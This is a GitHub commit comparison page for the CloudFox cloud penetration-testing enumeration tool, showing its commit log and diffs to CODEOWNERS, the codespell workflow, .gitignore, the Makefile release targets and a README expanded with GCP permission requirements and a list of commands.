Compare commits

..
155 Commits
Author SHA1 Message Date
jbarciabf 033c953d57 Merge pull request #124 from BishopFox/version-bump-2.0.2
Bump version to 2.0.2
2026-04-12 13:49:44 -04:00
Joseph Barcia a7e45b9ae5 Bump version to 2.0.2 2026-04-12 17:47:40 +00:00
jbarciabf ce513ba04d Merge pull request #123 from sethsec/fix/awsservicemap-v1.1.0-service-slugs
Fix service slug mismatches for awsservicemap v1.1.0
2026-04-12 13:46:14 -04:00
Joseph Barcia 83f9af249d Update google.golang.org/grpc to v1.79.3 to fix GO-2026-4762
Fixes authorization bypass via missing leading slash in :path header.
2026-04-12 17:40:35 +00:00
Seth Art 11652a9a6e Fix service slug mismatches for awsservicemap v1.1.0 across all commands
awsservicemap v1.1.0 switched to URL-based service slugs, breaking all
commands that used the old identifiers. Affected slugs and their fixes:

  secretsmanager  -> secrets-manager   (resource-trusts, inventory)
  ssm             -> systems-manager   (inventory)
  elb             -> elasticloadbalancing (endpoints, inventory, network-ports)
  es              -> opensearch-service   (endpoints, inventory, resource-trusts)
  mq              -> amazon-mq            (endpoints, inventory)
  stepfunctions   -> step-functions       (inventory)
  sagemaker       -> sagemaker-ai         (env-vars)
  clouddirectory  -> directoryservice     (directory-services)
  kinesis         -> streams              (inventory)
  lightsail       -> amazonlightsail.com  (endpoints, env-vars, network-ports)

Each mismatch caused IsServiceInRegion to return false for all regions,
silently skipping enumeration of that service entirely.
2026-04-11 11:40:48 -04:00
Seth Art 6ac7a0bf6b Fix secrets command skipping all regions due to stale service slug names
awsservicemap v1.1.0 changed to a URL-based service identification format.
The secrets module was passing old-style slugs ("secretsmanager", "ssm") to
IsServiceInRegion, which never matched the new URL-derived slugs
("secrets-manager", "systems-manager"). This caused 0 tasks to be queued
and no secrets to be returned despite secrets existing in the account.
2026-04-11 11:40:48 -04:00
jbarciabf c6fcdba665 Merge pull request #122 from jbarciabf/fix/CVE-2026-24051
v2.0.1 - CVE-2026-24051 Fix
2026-03-09 10:10:46 -04:00
jbarciabf 4f2c2cb4c9 Bump go.opentelemetry.io/otel/sdk to v1.40.0 (CVE-2026-24051)
Fixes PATH hijacking vulnerability in the OTel Go SDK on macOS/Darwin.
2026-03-05 08:17:36 -05:00
jbarciabf db8a6895c3 Merge pull request #118 from prdngr/fix-privesc-false-positive
Fix false positive where GitHub Actions subject was not recognized
2026-03-04 09:18:59 -05:00
Dominik Prodinger 11763f04f6 Merge branch 'BishopFox:main' into fix-privesc-false-positive 2026-03-04 10:39:12 +01:00
Bastien Faure 0ba9e2d37f Merge pull request #121 from BishopFox/jb/gcp-dev
v2.0.0 - GCP Rewrite
2026-02-27 09:05:41 -05:00
jbarciabf a3d1c09558 fixed codespell referer error 2026-02-26 16:32:53 -05:00
jbarciabf a3b7ab4269 rename buckets -> storage 2026-02-26 15:01:18 -05:00
jbarciabf 60c6b8d61c added log-enum, bigquery-enum, bigtable-enum, spanner-enum to search for sensitive stored data 2026-02-26 12:55:50 -05:00
jbarciabf 8db014b136 updated foxmapper mappings 2026-02-21 14:12:23 -05:00
jbarciabf 72cd367086 fixed potential panics 2026-02-20 16:12:28 -05:00
jbarciabf f2d4b7c535 updated readme 2026-02-20 13:06:07 -05:00
jbarciabf 47d69d870f remove alias due to conflict 2026-02-20 12:59:43 -05:00
jbarciabf c9d1c2de68 normalized loot files and added additional commands 2026-02-20 11:59:20 -05:00
jbarciabf a8e802404f code cleanup 2026-02-20 08:31:44 -05:00
jbarciabf d021ea54de cleanup output, better streaming and file splitting 2026-02-19 18:17:24 -05:00
jbarciabf 7a18090609 removed attackpath and orgcache flags and enable by default 2026-02-16 15:17:04 -05:00
jbarciabf cb8be678e7 removed attack paths to use foxmapper instead 2026-02-15 23:02:27 -05:00
Dominik Prodinger 6f45cbe900 Fix false positive where GitHub Actions subject was not recognized 2026-02-09 12:19:05 +01:00
jbarciabf 8a248e3127 updated instances 2026-02-04 21:53:51 -05:00
jbarciabf de141300e9 fixed enumerate regions where permissions were sometimes denied 2026-02-04 20:35:44 -05:00
jbarciabf eb76d76dea physical cache instead of memory. 1st wave of cleanup 2026-02-04 14:15:16 -05:00
jbarciabf 72a551b38b centralized attackpath service and playbooks 2026-01-30 10:53:15 -05:00
jbarciabf 59bac4ee36 fixed whoami output and added new attack paths 2026-01-30 09:22:38 -05:00
jbarciabf 44bf8e8915 added attackpaths and loot 2026-01-29 16:16:17 -05:00
jbarciabf 70107c607f updated session handling 2026-01-23 10:52:42 -05:00
jbarciabf d24f817bf9 changed global all projects flag 2026-01-20 14:33:22 -05:00
jbarciabf 711e29e3bb updated readme permissions 2026-01-20 08:33:20 -05:00
jbarciabf 04bb167273 updated version number 2026-01-20 08:20:09 -05:00
jbarciabf ed732d0c01 migrated over to sdk and caching for standardization with aws modules 2026-01-19 15:35:39 -05:00
jbarciabf f82547b438 updated attackpath output 2026-01-16 11:36:25 -05:00
jbarciabf 35fca31475 updated whoami counts 2026-01-16 10:02:10 -05:00
jbarciabf 888649616f added attackpath flag 2026-01-16 00:32:45 -05:00
jbarciabf 2b272a1335 merged privesc, lat movemet, and data exfil into attack paths 2026-01-16 00:21:08 -05:00
jbarciabf c94996e470 added network diagrams 2026-01-15 21:39:46 -05:00
jbarciabf 2f80731e5b updated bucketenum to no limits and enumerate all 2026-01-15 20:36:11 -05:00
jbarciabf d473e31c06 updated privesc checks 2026-01-15 17:41:31 -05:00
jbarciabf baf62fdbb2 updated whoami for better privesc description 2026-01-15 14:38:59 -05:00
jbarciabf f3f98f24e3 add org tree 2026-01-15 13:51:19 -05:00
jbarciabf eedf397c93 created beautified ASCII tree view of the organization hierarchy 2026-01-15 08:02:49 -05:00
jbarciabf 31e2fe5fcb fixed privesc execution and output issues 2026-01-14 15:25:47 -05:00
jbarciabf 06a9dabf48 refactored output to be hierarchical, added privesc checks 2026-01-14 14:51:54 -05:00
jbarciabf ce545ca9ff updated dataexfil 2026-01-13 16:23:08 -05:00
jbarciabf 8954fc2a72 fixed permissions denied error 2026-01-13 15:37:53 -05:00
jbarciabf 7bb7d947ef fixed logging newline, more 400 errors, text formatting, and enhancements in dns, filestore, endpoints, and dataefil 2026-01-13 15:22:36 -05:00
jbarciabf 3c1213b0ff fixed cloudrun 400 error 2026-01-13 11:03:22 -05:00
jbarciabf fbc862aef1 updated readme 2026-01-12 21:38:31 -05:00
jbarciabf 8dddcc83d2 Merge remote-tracking branch 'upstream/main' into cloudfox-gcp-new 2026-01-12 21:25:22 -05:00
jbarciabf 36b45a64c5 rework 2026-01-12 21:08:19 -05:00
jbarciabf 333ca05a11 fixed error handling, added auto org detection for vpc, added features to whoami 2026-01-08 08:50:33 -05:00
jbarciabf 4a2444c05f Merge pull request #117 from BishopFox/readme-update
Update README.md
2026-01-05 09:05:08 -05:00
Seth Art c9edf8450b Update README.md 2026-01-05 09:03:09 -05:00
jbarciabf ec9a50ead1 fixed error handling 2026-01-04 09:46:15 -05:00
jbarciabf eae16c32b4 updated permission module 2025-12-30 13:54:10 -05:00
jbarciabf 0df2aa9240 updated to include all-projects and added project name to output 2025-12-30 13:32:16 -05:00
jbarciabf abf1543b3e added new modules 2025-12-30 09:38:32 -05:00
jbarciabf 69c9070009 updates 2025-12-28 15:23:44 -05:00
jbarciabf 8f6208d983 Merge remote-tracking branch 'upstream/main' into cloudfox-gcp-new 2025-12-17 14:52:35 -05:00
jbarciabf 83d9611732 init 2025-12-17 14:52:06 -05:00
jbarciabf b994b42708 Merge pull request #115 from BishopFox/fix/makefile-tab-signed3
fixed makefile
2025-12-17 13:01:58 -05:00
jbarciabf 52c12855a1 fixed makefile 2025-12-17 11:21:28 -05:00
jbarciabf 70037750c5 Merge pull request #109 from sethsec/fix_regions_error
Fix awsservicemap download, added more logging to all commands/sdk calls
2025-12-17 10:45:11 -05:00
Seth Art 1bb8576a27 Added logging for all successfull API calls to cloudfox-info.log 2025-12-15 13:33:55 -05:00
Seth Art 16b3c66624 Unified logging around logrus. removed standard logging lines. 2025-12-15 13:33:54 -05:00
Seth Art 3dbb98ffc6 Added split level logging to logrus 2025-12-15 13:33:54 -05:00
Seth Art b3a03ec7bd Fixed small bug with inventory where it was counting total resources incorrectly 2025-12-15 13:33:54 -05:00
Seth Art 521cf7e4f4 Reduced the number of times awsservicemap calls out to get the AWS json 2025-12-15 13:33:54 -05:00
jbarciabf 5115f849f5 Update CODEOWNERS 2025-08-05 15:57:12 -04:00
jbarciabf 9e42b53d22 Merge pull request #104 from sethsec/main
v1.16.0 - Addes multiple resource types to resource-trusts command thanks to @edops973
2025-08-05 15:50:49 -04:00
Bastien Faure b28ed6a3fd Update CODEOWNERS 2025-08-05 10:07:55 -04:00
Seth Art 0e7b006cde Merge branch 'main' into main 2025-04-21 11:49:06 -04:00
Seth Art 2cc97f508b Update version to 1.16.0 2025-04-21 11:43:07 -04:00
Seth Art 031d666c63 Merge pull request #6 from edops973/feature/add-opensearch-to-resource-trusts-command
feat: Add opensearch to resource trusts command
2025-04-21 10:19:43 -04:00
Seth Art d0de59dbe4 update opensearch mod 2025-04-21 10:19:06 -04:00
Seth Art 00b49aa33c Merge branch 'main' into feature/add-opensearch-to-resource-trusts-command 2025-04-16 19:15:07 -04:00
Seth Art 12ee6c292a Merge pull request #5 from edops973/feature/add-vpcendpoint-to-resource-trusts-command
feat: Add vpcendpoint to resource trusts command
2025-04-16 19:11:35 -04:00
Seth Art 4584774ec1 updated arn column to print full arn 2025-04-16 17:10:59 -06:00
Seth Art d558e1cf55 Update supported services banner 2025-04-16 16:56:11 -06:00
Seth Art 19b825cfa6 Merge remote-tracking branch 'origin' into feature/add-vpcendpoint-to-resource-trusts-command 2025-04-16 16:48:21 -06:00
Seth Art 698458cf92 Merge pull request #4 from edops973/feature/add-apigateway-service-to-resource-trusts-command
feat: Add apigateway service to resource trusts command
2025-04-16 18:43:00 -04:00
edops973 dfed0491f2 Ignore public apigateway in resource trusts command 2025-03-27 20:43:43 +07:00
edops973 7671e7e717 Add opensearch unittest 2025-03-15 22:53:01 +07:00
edops973 0c858e6cd4 Add missing method in codebuild_mocks.go 2025-03-15 22:47:53 +07:00
edops973 0deb568e41 Get open search policies 2025-03-15 22:47:43 +07:00
edops973 2806f7ea08 Merge conflict 2025-03-15 22:45:10 +07:00
edops973 e54ffe8ce7 Merge conflict 2025-03-15 22:43:21 +07:00
edops973 56e64d8e62 Merge conflict 2025-03-15 22:41:45 +07:00
edops973 43fe99e832 Merge conflict 2025-03-15 22:35:23 +07:00
edops973 5d2f2616af Merge conflict 2025-03-15 22:33:21 +07:00
edops973 d8e4157e93 Fix resource-trusts unittest 2025-03-15 22:15:04 +07:00
edops973 a104639354 Merge conflict 2025-03-15 22:01:17 +07:00
edops973 296710c474 Merge conflict 2025-03-15 21:56:19 +07:00
Seth Art 278e2658ee Merge pull request #2 from edops973/feature/add-kms-service-to-resource-trusts-command
feat: Add kms service to resource trusts command
2025-03-15 10:39:58 -04:00
Seth Art 6b45f54699 Removed block that ran kms even without feature flag. Also edited supported serviecs line to account for feature flag use 2025-03-15 10:38:38 -04:00
Seth Art 2391bb7802 merge updates 2025-03-15 10:31:23 -04:00
Seth Art 68d68fc75d fix typo in utils.go 2025-03-15 10:19:31 -04:00
edops973 7d6d16a4f1 Merge branch 'main' into feature/add-kms-service-to-resource-trusts-command 2025-03-14 06:04:02 -05:00
edops973 caaf399e9d Add feature flag for KMS service in resource-trusts command 2025-03-14 18:02:13 +07:00
edops973 1f4f128a7a Add checksum to the release packages 2025-03-14 18:02:12 +07:00
Seth Art 16c0f4dfe9 Bump version to v1.16.0-prerelease 2025-03-14 18:02:11 +07:00
edops973 7e6439924a Remove task definition column in env-vars command 2025-03-14 18:02:11 +07:00
edops973 d3c042c1e3 Add task definition column to env-vars command 2025-03-14 18:02:07 +07:00
edops973 cda06fff7a Add container name column to ecs-tasks command 2025-03-14 18:02:05 +07:00
edops973 e49402991a Fix the order of input parameters when fetching KMS policy 2025-03-14 18:01:59 +07:00
edops973 cae31fbf21 fix kms client nil when running all-checks command 2025-03-14 18:01:52 +07:00
edops973 4e75b1151b Add resource-trusts KMS unit test 2025-03-14 18:01:43 +07:00
edops973 831198c42d Support kms service for command resource-trusts 2025-03-14 18:01:35 +07:00
Bastien Faure 2cb5ad2b83 Merge pull request #97 from DominicBreuker/route53-bugfix
AWS Route53 Alias Record Support
2025-03-13 19:04:21 -04:00
Bastien Faure efe95c02ee Merge pull request #102 from crahan/linux-arm64
Add support for building Linux Arm64 binaries
2025-03-13 19:02:27 -04:00
CraHan 13bd04d3e4 Add support for building Linux Arm64 2025-03-13 19:01:26 -04:00
Seth Art b8d9d8093c Merge pull request #3 from edops973/feature/add-checksum-to-release
feat: Add checksum to the release packages
2025-03-12 16:26:11 -04:00
Seth Art b139513244 Merge pull request #1 from edops973/feature/add-taskdefinition-to-ecs-tasks-and-env-vars-command
feat: Add taskdefinition to ecs tasks and env vars command
2025-03-12 16:23:08 -04:00
Seth Art f058e1c57d Bump version to v1.16.0-prerelease 2025-03-12 16:21:54 -04:00
edops973 a94bdc1853 Remove task definition column in env-vars command 2025-03-13 02:45:39 +07:00
edops973 89b3492399 Fix the order of input parameters when fetching KMS policy 2025-03-13 00:00:16 +07:00
edops973 67b84f0c74 fix kms client nil when running all-checks command 2025-03-10 23:09:21 +07:00
edops973 8eec1c331b Add checksum to the release packages 2025-03-09 00:51:00 +07:00
edops973 5e0eb15f7d Add resource-trusts KMS unit test 2025-03-07 18:18:05 +07:00
edops973 ec497faba4 Support kms service for command resource-trusts 2025-03-07 15:25:53 +07:00
edops973 ed8e0a229c Add task definition column to env-vars command 2025-03-05 15:50:58 +07:00
edops973 b60f479c2d Add container name column to ecs-tasks command 2025-03-05 15:50:32 +07:00
Dominic Breuker ab4866fcbf fix bug with route53 alias record processing 2024-11-13 21:24:17 +01:00
Dominic Breuker 00fe4fdce3 add support for Route53 Alias records in route53 command 2024-10-30 21:22:22 +01:00
Bastien Faure f7d1cbcdb6 Merge pull request #96 from BishopFox/aws-principals-with-admin-check
Bug fixes and small feature updates
2024-10-17 10:47:11 +02:00
Seth Art b3c25bb5d0 spelling fix 2024-10-15 16:28:04 -04:00
Seth Art 9076beb111 Bumped version to 1.15.0 2024-10-15 16:26:04 -04:00
Seth Art 878d7ec0c4 Fixed bug in cape where files did not exist crash. Fixed bug that duplicated edges because of magenta. 2024-10-15 16:16:31 -04:00
Seth Art ebf9985d40 Fix for #92 2024-10-10 19:14:09 -04:00
Seth Art 8e1e8d0c0a Fix for cape that also makes edges for cross-account explicit trusts. Also added a new flag to ignore certain edges entirely. 2024-10-10 18:23:54 -04:00
Seth Art a88e98aedd Removed AWSSSO-ACCOUNTID entries from cape table as they are redundant 2024-09-30 16:05:49 -04:00
Seth Art 85b9b11798 Bumped version to 1.43.3 2024-09-24 16:17:49 -04:00
Seth Art 6b0970ebd7 Fix for cape in regards to permission expansion 2024-09-24 16:15:49 -04:00
Seth Art e0dc71b414 updated the adminActionNames check actions to remove ssm get documents and replace with ssm get parameters 2024-09-23 13:48:28 -04:00
Seth Art b31f36746b added the the --admin-check-only flag to iam-simulator command 2024-09-23 13:47:07 -04:00
Seth Art 0a95240b7f added admin/pmapper logic to principals command 2024-09-23 13:45:59 -04:00
David 785b69316a Merge pull request #93 from BishopFox/imds-fix
Fix for IMDS not working due to breaking change in aws-sdk-go-v2.
2024-08-09 00:19:47 -04:00
Seth Art 547c48a249 Merge branch 'main' into imds-fix 2024-08-07 21:42:54 -04:00
Seth Art aed3c0abdb bump version 2024-08-07 13:27:14 -04:00
Seth Art 0184e1520d Fix for IMDS not working due to breaking change in aws-sdk-go-v2. 2024-08-06 23:45:04 -04:00
David 70a050a973 Merge pull request #90 from BishopFox/add-386-binary-to-release
Update Makefile to include 386 linux binary for release action
2024-07-03 22:39:48 -04:00
David 738085dc78 fix typo from codespell 2024-07-03 17:59:19 -04:00
Seth Art 0ac24e3aa1 Update utils.go
bumping the version so that once this is merged and we can create a new tag and release on the new version
2024-07-02 11:48:36 -04:00
Seth Art 5ba8b087ff Update Makefile to include 386 linux binary for release action 2024-07-02 11:45:44 -04:00
Bastien Faure b02ad612f0 Merge pull request #89 from BishopFox/aws-databases-rds-fix
Aws databases rds fix
2024-06-03 19:47:52 -07:00
Bastien Faure 3759d2c57d Merge pull request #87 from testwill/close_file
fix: close input file
2024-06-03 19:46:25 -07:00
Seth Art 0b88bcac56 Updated tests to make sure that RDS instances without clusters are checked for 2024-05-29 11:30:49 -04:00
Seth Art 91f5f14f0e Added RDS database instances back into output. I think it's ok to have both clusters and instances in the output 2024-05-29 10:07:02 -04:00
guangwu ca810a00d7 fix: close input file 2024-05-11 20:43:07 +08:00
David d9cbefd911 Merge pull request #84 from BishopFox/graph
v1.14.0, cape
2024-04-16 14:41:05 -04:00
Seth Art bfa95acafe Merge pull request #81 from BishopFox/bastien_directoryservice_aws
Add Directory Service support for AWS
2024-04-16 14:14:32 -04:00
252 changed files with 82481 additions and 1884 deletions

No files matched your search

+1 -1
View File
@@ -1 +1 @@
* @bishopfaure @dbravo-bishopfox
* @bishopfaure @jbarciabf @msperling-bf
+1 -1
View File
@@ -13,4 +13,4 @@ jobs:
steps:
- uses: actions/checkout@v4
- run: pip install --user codespell
- run: codespell --ignore-words-list="aks" --skip="*.sum"
- run: codespell --ignore-words-list="aks,referers,invokable" --skip="*.sum"
+4 -1
View File
@@ -62,8 +62,11 @@ terraform.rc
.DS_Store
untracked/*
*tmp*
tmp/*
output/*
*cloudfox-output*
cloudfox-*
cloudfox
*.log
*.bak
@@ -75,4 +78,4 @@ dist/
# graphvis files
*.gv
*.svg
*.svg
+34 -14
View File
@@ -13,6 +13,12 @@ linux:
zip cloudfox-linux.zip cloudfox sha1sum-linux.txt
rm cloudfox sha1sum-linux.txt
linux-arm64:
GOOS=linux GOARCH=arm64 go build
sha1sum cloudfox > sha1sum-linux-arm64.txt
zip cloudfox-linux-arm64.zip cloudfox sha1sum-linux-arm64.txt
rm cloudfox sha1sum-linux-arm64.txt
macos:
GOOS=darwin GOARCH=amd64 go build
sha1sum cloudfox > sha1sum-mac.txt
@@ -24,22 +30,36 @@ all: windows linux macos
.PHONY: release
release: clean
mkdir -p ./cloudfox
mkdir -p ./cloudfox
GOOS=windows GOARCH=amd64 go build -o ./cloudfox/cloudfox.exe .
zip ./cloudfox/cloudfox-windows-amd64.zip ./cloudfox/cloudfox.exe
rm -rf ./cloudfox/cloudfox.exe
sha1sum ./cloudfox/cloudfox.exe > ./cloudfox/sha1sum.txt
zip ./cloudfox/cloudfox-windows-amd64.zip ./cloudfox/cloudfox.exe ./cloudfox/sha1sum.txt
rm -rf ./cloudfox/cloudfox.exe ./cloudfox/sha1sum.txt
GOOS=linux GOARCH=amd64 go build -o ./cloudfox/cloudfox .
zip ./cloudfox/cloudfox-linux-amd64.zip ./cloudfox/cloudfox .
rm -rf ./cloudfox/cloudfox
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
zip ./cloudfox/cloudfox-linux-amd64.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
GOOS=linux GOARCH=386 go build -o ./cloudfox/cloudfox .
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
zip ./cloudfox/cloudfox-linux-386.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
GOOS=linux GOARCH=arm64 go build -o ./cloudfox/cloudfox .
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
zip ./cloudfox/cloudfox-linux-arm64.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
GOOS=darwin GOARCH=amd64 go build -o ./cloudfox/cloudfox .
zip ./cloudfox/cloudfox-macos-amd64.zip ./cloudfox/cloudfox
rm -rf ./cloudfox/cloudfox
GOOS=darwin GOARCH=arm64 go build -o ./cloudfox/cloudfox .
zip ./cloudfox/cloudfox-macos-arm64.zip ./cloudfox/cloudfox
rm -rf ./cloudfox/cloudfox
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
zip ./cloudfox/cloudfox-macos-amd64.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
clean:
rm -rf ./cloudfox
GOOS=darwin GOARCH=arm64 go build -o ./cloudfox/cloudfox .
sha1sum ./cloudfox/cloudfox > ./cloudfox/sha1sum.txt
zip ./cloudfox/cloudfox-macos-arm64.zip ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
rm -rf ./cloudfox/cloudfox ./cloudfox/sha1sum.txt
clean:
rm -rf ./cloudfox
+124 -14
View File
@@ -1,6 +1,10 @@
# :fox_face: CloudFox :fox_face:
CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
> **CLOUDFOX UPDATE REQUIRED: (12/2025):** If you are using `cloudfox`, you need to use v1.17.0 or greater. All earlier versions [stopped working after a format change in AWS's public service mapping file](https://github.com/BishopFox/cloudfox/pull/109).
**Overview**
#### CloudFox helps you answer the following common questions (and many more):
* What regions is this AWS account using and roughly how many resources are in the account?
@@ -48,9 +52,9 @@ For the full documentation please refer to our [wiki](https://github.com/BishopF
| Provider| CloudFox Commands |
| - | - |
| AWS | 34 |
| Azure | 4 |
| GCP | 8 |
| AWS | 34 |
| Azure | 4 |
| GCP | 60 |
| Kubernetes | Support Planned |
@@ -102,7 +106,53 @@ Additional policy notes (as of 09/2022):
| `arn:aws:iam::aws:policy/AdministratorAccess` | This will work just fine with CloudFox, but if you were handed this level of access as a penetration tester, that should probably be a finding in itself :) |
### Azure
* Viewer or similar permissions applied.
* Viewer or similar permissions applied.
### GCP
* Google Cloud SDK installed and authenticated
* Application Default Credentials configured (`gcloud auth application-default login`)
* Recommended permissions at appropriate hierarchy levels (see below)
#### GCP Permissions: Minimal vs Comprehensive
**Minimal Permissions (Single Project):**
For basic enumeration of a single project, the `roles/viewer` role provides read access to most resources (includes logging, monitoring, and compute/network viewing).
**Comprehensive Permissions (Organization-Wide):**
For thorough security assessments across an entire organization:
| Scope | Role | Purpose |
| - | - | - |
| **Organization** | `roles/resourcemanager.organizationViewer` | View organization structure and metadata |
| **Organization** | `roles/iam.securityReviewer` | Review IAM policies across the organization |
| **Organization** | `roles/cloudasset.viewer` | Query Cloud Asset Inventory for all resources |
| **Organization** | `roles/cloudidentity.groupsViewer` | Enumerate Google Groups and memberships |
| **Folder** | `roles/resourcemanager.folderViewer` | View folder hierarchy and metadata |
| **Project** | `roles/viewer` | Read access to most project resources (includes logging.viewer, monitoring.viewer, compute.viewer) |
| **Tooling Project** | `roles/serviceusage.serviceUsageAdmin` | (Optional) Manage API quotas for CloudFox operations |
> **Note:** The basic `roles/viewer` role includes permissions from `roles/logging.viewer`, `roles/monitoring.viewer`, and `roles/compute.networkViewer`, so these don't need to be granted separately.
#### GCP API Requirements
**APIs must be enabled in each project you want to assess.** GCP APIs are project-scoped.
| API | Service Name | Purpose |
| - | - | - |
| Cloud Identity API | `cloudidentity.googleapis.com` | Group enumeration, inherited role analysis |
| Cloud Asset API | `cloudasset.googleapis.com` | Cross-project resource discovery |
| Cloud Resource Manager API | `cloudresourcemanager.googleapis.com` | Organization mapping, IAM enumeration |
| IAM API | `iam.googleapis.com` | IAM analysis, privilege escalation detection |
| Compute Engine API | `compute.googleapis.com` | Instance enumeration, network security |
| Secret Manager API | `secretmanager.googleapis.com` | Secrets enumeration |
| Cloud Functions API | `cloudfunctions.googleapis.com` | Serverless enumeration |
| Cloud Run API | `run.googleapis.com` | Serverless enumeration |
| Kubernetes Engine API | `container.googleapis.com` | Container security analysis |
| BigQuery API | `bigquery.googleapis.com` | Data security analysis |
For detailed setup instructions, see the [GCP Setup Guide](https://github.com/BishopFox/cloudfox/wiki/GCP-Setup-Guide).
# AWS Commands
| Provider | Command Name | Description
@@ -133,7 +183,7 @@ Additional policy notes (as of 09/2022):
| AWS | [pmapper](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#pmapper) | Looks for pmapper data stored on the local filesystem, [in the locations defined here](https://github.com/nccgroup/PMapper/wiki/Frequently-Asked-Questions#where-does-pmapper-store-its-data). If pmapper data has been found (you already ran `pmapper graph create`), then this command will use this data to build a graph in cloudfox memory let you know who can privesc to admin.
| AWS | [principals](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#principals) | Enumerates IAM users and Roles so you have the data at your fingertips. |
| AWS | [ram](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#ram) | List all resources in this account that are shared with other accounts, or resources from other accounts that are shared with this account. Useful for cross-account attack paths. |
| AWS | [resource-trusts](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#resource-trusts) | Looks through multiple services that support resource policies and helps you find any overly permissive resource trusts.|
| AWS | [resource-trusts](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#resource-trusts) | Looks through multiple services that support resource policies and helps you find any overly permissive resource trusts. KMS is supported but disabled by default. To include KMS resource policies in the output, add this flag to the command: `cloudfox aws resource-trusts --include-kms`.|
| AWS | [role-trusts](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#role-trusts) | Enumerates IAM role trust policies so you can look for overly permissive role trusts or find roles that trust a specific service. |
| AWS | [route53](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#route53) | Enumerate all records from all route53 managed zones. Use this for application and service enumeration. |
| AWS | [secrets](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#secrets) | List secrets from SecretsManager and SSM. Look for interesting secrets in the list and then see who has access to them using use `cloudfox iam-simulator` and/or `pmapper`. |
@@ -155,22 +205,82 @@ Additional policy notes (as of 09/2022):
# GCP Commands
| Provider | Command Name | Description
For detailed documentation on each GCP command, see the [GCP Commands Wiki](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands).
| Provider | Command Name | Description
| - | - | - |
| GCP | [whoami](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#whoami) | Display the email address of the GCP authenticated user |
| GCP | [all-checks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#all-checks) | Runs all available GCP commands |
| GCP | [artifact-registry](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#artifact-registry) | Display GCP artifact registry information |
| GCP | [bigquery](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery) | Display Bigquery datasets and tables information |
| GCP | [buckets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#buckets) | Display GCP buckets information |
| GCP | [iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iam) | Display GCP IAM information |
| GCP | [instances](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#instances) | Display GCP Compute Engine instances information |
| GCP | [secrets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#secrets) | Display GCP secrets information |
| GCP | [whoami](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#whoami) | Display identity context for the authenticated GCP user/service account |
| GCP | [iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iam) | Enumerate GCP IAM principals across organizations, folders, and projects |
| GCP | [permissions](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#permissions) | Enumerate ALL permissions for each IAM entity with full inheritance explosion |
| GCP | [serviceaccounts](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#serviceaccounts) | Enumerate GCP service accounts with security analysis |
| GCP | [service-agents](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#service-agents) | Enumerate Google-managed service agents |
| GCP | [keys](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#keys) | Enumerate all GCP keys (SA keys, HMAC keys, API keys) |
| GCP | [resource-iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#resource-iam) | Enumerate IAM policies on GCP resources (buckets, datasets, secrets, etc.) |
| GCP | [domain-wide-delegation](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#domain-wide-delegation) | Find service accounts with Domain-Wide Delegation to Google Workspace |
| GCP | [privesc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#privesc) | Identify privilege escalation paths in GCP projects |
| GCP | [hidden-admins](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#hidden-admins) | Identify principals who can modify IAM policies (hidden admins) |
| GCP | [identity-federation](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#identity-federation) | Enumerate Workload Identity Federation (external identities) |
| GCP | [instances](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#instances) | Enumerate GCP Compute Engine instances with security configuration |
| GCP | [gke](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#gke) | Enumerate GKE clusters with security analysis |
| GCP | [cloudrun](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudrun) | Enumerate Cloud Run services and jobs with security analysis |
| GCP | [functions](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#functions) | Enumerate GCP Cloud Functions with security analysis |
| GCP | [app-engine](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#app-engine) | Enumerate App Engine applications and security configurations |
| GCP | [composer](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#composer) | Enumerate Cloud Composer environments |
| GCP | [dataproc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dataproc) | Enumerate Dataproc clusters |
| GCP | [dataflow](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dataflow) | Enumerate Dataflow jobs and pipelines |
